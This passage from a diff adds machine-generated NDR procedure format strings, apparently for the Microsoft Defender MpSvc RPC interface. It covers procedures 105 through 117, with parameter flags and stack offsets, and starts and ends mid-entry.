0 */ + 0x48, /* Old Flags: */ +/* 5864 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5868 */ NdrFcShort( 0x68 ), /* 104 */ +/* 5870 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5872 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5874 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5876 */ NdrFcShort( 0x8 ), /* 8 */ +/* 5878 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5880 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 5882 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 5884 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5886 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5888 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5890 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5892 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5894 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5896 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5898 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 5900 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5902 */ NdrFcShort( 0x3ca ), /* Type Offset=970 */ + + /* Parameter arg_3 */ + +/* 5904 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5906 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5908 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5910 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5912 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5914 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc105_ServerMpRpcThreatRollup */ + +/* 5916 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5918 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5922 */ NdrFcShort( 0x69 ), /* 105 */ +/* 5924 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 5926 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 5928 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5930 */ NdrFcShort( 0x10 ), /* 16 */ +/* 5932 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5934 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 5936 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 5938 */ NdrFcShort( 0x1 ), /* 1 */ +/* 5940 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5942 */ NdrFcShort( 0x0 ), /* 0 */ +/* 5944 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 5946 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5948 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 5950 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 5952 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 5954 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 5956 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 5958 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 5960 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 5962 */ NdrFcShort( 0x8da ), /* Type Offset=2266 */ + + /* Parameter arg_4 */ + +/* 5964 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 5966 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 5968 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 5970 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 5972 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5974 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc106_ServerMpDetectionQuery */ + +/* 5976 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 5978 */ NdrFcLong( 0x0 ), /* 0 */ +/* 5982 */ NdrFcShort( 0x6a ), /* 106 */ +/* 5984 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 5986 */ 0x30, /* FC_BIND_CONTEXT */ + 0x40, /* Ctxt flags: in, */ +/* 5988 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 5990 */ 0x0, /* 0 */ + 0x0, /* 0 */ +/* 5992 */ NdrFcShort( 0x68 ), /* 104 */ +/* 5994 */ NdrFcShort( 0x24 ), /* 36 */ +/* 5996 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x5, /* 5 */ +/* 5998 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 6000 */ NdrFcShort( 0x1 ), /* 1 */ +/* 6002 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6004 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6006 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_0 */ + +/* 6008 */ NdrFcShort( 0x8 ), /* Flags: in, */ +/* 6010 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6012 */ NdrFcShort( 0xc8 ), /* Type Offset=200 */ + + /* Parameter arg_1 */ + +/* 6014 */ NdrFcShort( 0x10a ), /* Flags: must free, in, simple ref, */ +/* 6016 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6018 */ NdrFcShort( 0x10 ), /* Type Offset=16 */ + + /* Parameter arg_2 */ + +/* 6020 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6022 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6024 */ NdrFcShort( 0x406 ), /* Type Offset=1030 */ + + /* Parameter arg_3 */ + +/* 6026 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6028 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6030 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6032 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6034 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6036 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc107_ServerMpRpcRequestSnooze */ + +/* 6038 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6040 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6044 */ NdrFcShort( 0x6b ), /* 107 */ +/* 6046 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6048 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6050 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6052 */ NdrFcShort( 0x8 ), /* 8 */ +/* 6054 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6056 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x3, /* 3 */ +/* 6058 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6060 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6062 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6064 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6066 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6068 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 6070 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6072 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 6074 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6076 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6078 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6080 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6082 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6084 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc108_ServerMpRpcOfflineScanInstall */ + +/* 6086 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6088 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6092 */ NdrFcShort( 0x6c ), /* 108 */ +/* 6094 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6096 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6098 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6100 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6102 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6104 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 6106 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6108 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6110 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6112 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6114 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6116 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6118 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6120 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6122 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6124 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6126 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc109_ServerMpRpcOfflineScanStatusQuery */ + +/* 6128 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6130 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6134 */ NdrFcShort( 0x6d ), /* 109 */ +/* 6136 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6138 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6140 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6142 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6144 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6146 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 6148 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6150 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6152 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6154 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6156 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6158 */ NdrFcShort( 0x6113 ), /* Flags: must size, must free, out, simple ref, srv alloc size=24 */ +/* 6160 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6162 */ NdrFcShort( 0x920 ), /* Type Offset=2336 */ + + /* Parameter arg_2 */ + +/* 6164 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6166 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6168 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6170 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6172 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6174 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc110_ServerMpRpcTriggerHeartbeatOnDefenderDisable */ + +/* 6176 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6178 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6182 */ NdrFcShort( 0x6e ), /* 110 */ +/* 6184 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6186 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6188 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6190 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6192 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6194 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x3, /* 3 */ +/* 6196 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6198 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6200 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6202 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6204 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6206 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6208 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6210 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6212 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6214 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6216 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6218 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6220 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6222 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc111_ServerMpRpcTriggerHeartbeatOnUninstall */ + +/* 6224 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6226 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6230 */ NdrFcShort( 0x6f ), /* 111 */ +/* 6232 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6234 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6236 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6238 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6240 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6242 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x2, /* 2 */ +/* 6244 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6246 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6248 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6250 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6252 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6254 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6256 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6258 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6260 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6262 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6264 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc112_ServerMpRpcTriggerErrorHeartbeatReport */ + +/* 6266 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6268 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6272 */ NdrFcShort( 0x70 ), /* 112 */ +/* 6274 */ NdrFcShort( 0x38 ), /* X64 Stack size/offset = 56 */ +/* 6276 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6278 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6280 */ NdrFcShort( 0x8 ), /* 8 */ +/* 6282 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6284 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x6, /* 6 */ +/* 6286 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6288 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6290 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6292 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6294 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6296 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 6298 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6300 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 6302 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6304 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6306 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_3 */ + +/* 6308 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6310 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6312 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_4 */ + +/* 6314 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6316 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6318 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_5 */ + +/* 6320 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6322 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6324 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6326 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6328 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6330 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc113_ServerMpRpcTriggerHeartbeatReport */ + +/* 6332 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6334 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6338 */ NdrFcShort( 0x71 ), /* 113 */ +/* 6340 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6342 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6344 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6346 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6348 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6350 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x3, /* 3 */ +/* 6352 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6354 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6356 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6358 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6360 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6362 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6364 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6366 */ NdrFcShort( 0x930 ), /* Type Offset=2352 */ + + /* Parameter arg_2 */ + +/* 6368 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6370 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6372 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6374 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6376 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6378 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc114_ServerMpRpcRemapCallistoDetections */ + +/* 6380 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6382 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6386 */ NdrFcShort( 0x72 ), /* 114 */ +/* 6388 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6390 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6392 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6394 */ NdrFcShort( 0x8 ), /* 8 */ +/* 6396 */ NdrFcShort( 0x24 ), /* 36 */ +/* 6398 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x5, /* 5 */ +/* 6400 */ 0xa, /* 10 */ + 0x5, /* Ext Flags: new corr desc, srv corr check, */ +/* 6402 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6404 */ NdrFcShort( 0x1 ), /* 1 */ +/* 6406 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6408 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6410 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6412 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6414 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6416 */ NdrFcShort( 0x48 ), /* Flags: in, base type, */ +/* 6418 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6420 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6422 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6424 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6426 */ NdrFcShort( 0x93c ), /* Type Offset=2364 */ + + /* Parameter arg_4 */ + +/* 6428 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6430 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6432 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6434 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6436 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6438 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc115_ServerMpRpcGetCallistoDetections */ + +/* 6440 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6442 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6446 */ NdrFcShort( 0x73 ), /* 115 */ +/* 6448 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6450 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6452 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6454 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6456 */ NdrFcShort( 0x40 ), /* 64 */ +/* 6458 */ 0x45, /* Oi2 Flags: srv must size, has return, has ext, */ + 0x4, /* 4 */ +/* 6460 */ 0xa, /* 10 */ + 0x3, /* Ext Flags: new corr desc, clt corr check, */ +/* 6462 */ NdrFcShort( 0x1 ), /* 1 */ +/* 6464 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6466 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6468 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6470 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6472 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6474 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 6476 */ NdrFcShort( 0x2013 ), /* Flags: must size, must free, out, srv alloc size=8 */ +/* 6478 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6480 */ NdrFcShort( 0x948 ), /* Type Offset=2376 */ + + /* Parameter arg_3 */ + +/* 6482 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6484 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6486 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6488 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6490 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6492 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc116_ServerMpRpcIsAdlFallbackDue */ + +/* 6494 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6496 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6500 */ NdrFcShort( 0x74 ), /* 116 */ +/* 6502 */ NdrFcShort( 0x28 ), /* X64 Stack size/offset = 40 */ +/* 6504 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6506 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6508 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6510 */ NdrFcShort( 0x40 ), /* 64 */ +/* 6512 */ 0x46, /* Oi2 Flags: clt must size, has return, has ext, */ + 0x4, /* 4 */ +/* 6514 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6516 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6518 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6520 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6522 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6524 */ NdrFcShort( 0x10b ), /* Flags: must size, must free, in, simple ref, */ +/* 6526 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6528 */ NdrFcShort( 0x586 ), /* Type Offset=1414 */ + + /* Parameter arg_2 */ + +/* 6530 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6532 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6534 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6536 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6538 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6540 */ 0x10, /* FC_ERROR_STATUS_T */ + 0x0, /* 0 */ + + /* Return value */ + +/* 6542 */ NdrFcShort( 0x70 ), /* Flags: out, return, base type, */ +/* 6544 */ NdrFcShort( 0x20 ), /* X64 Stack size/offset = 32 */ +/* 6546 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Procedure Proc117_ServerMpRpcIsRtpAutoEnable */ + +/* 6548 */ 0x0, /* 0 */ + 0x48, /* Old Flags: */ +/* 6550 */ NdrFcLong( 0x0 ), /* 0 */ +/* 6554 */ NdrFcShort( 0x75 ), /* 117 */ +/* 6556 */ NdrFcShort( 0x30 ), /* X64 Stack size/offset = 48 */ +/* 6558 */ 0x32, /* FC_BIND_PRIMITIVE */ + 0x0, /* 0 */ +/* 6560 */ NdrFcShort( 0x0 ), /* X64 Stack size/offset = 0 */ +/* 6562 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6564 */ NdrFcShort( 0x78 ), /* 120 */ +/* 6566 */ 0x44, /* Oi2 Flags: has return, has ext, */ + 0x5, /* 5 */ +/* 6568 */ 0xa, /* 10 */ + 0x1, /* Ext Flags: new corr desc, */ +/* 6570 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6572 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6574 */ NdrFcShort( 0x0 ), /* 0 */ +/* 6576 */ NdrFcShort( 0x0 ), /* 0 */ + + /* Parameter arg_1 */ + +/* 6578 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6580 */ NdrFcShort( 0x8 ), /* X64 Stack size/offset = 8 */ +/* 6582 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_2 */ + +/* 6584 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6586 */ NdrFcShort( 0x10 ), /* X64 Stack size/offset = 16 */ +/* 6588 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_3 */ + +/* 6590 */ NdrFcShort( 0x2150 ), /* Flags: out, base type, simple ref, srv alloc size=8 */ +/* 6592 */ NdrFcShort( 0x18 ), /* X64 Stack size/offset = 24 */ +/* 6594 */ 0x8, /* FC_LONG */ + 0x0, /* 0 */ + + /* Parameter arg_4 */ + +/* 6596 */ NdrFcShort( 0x2150 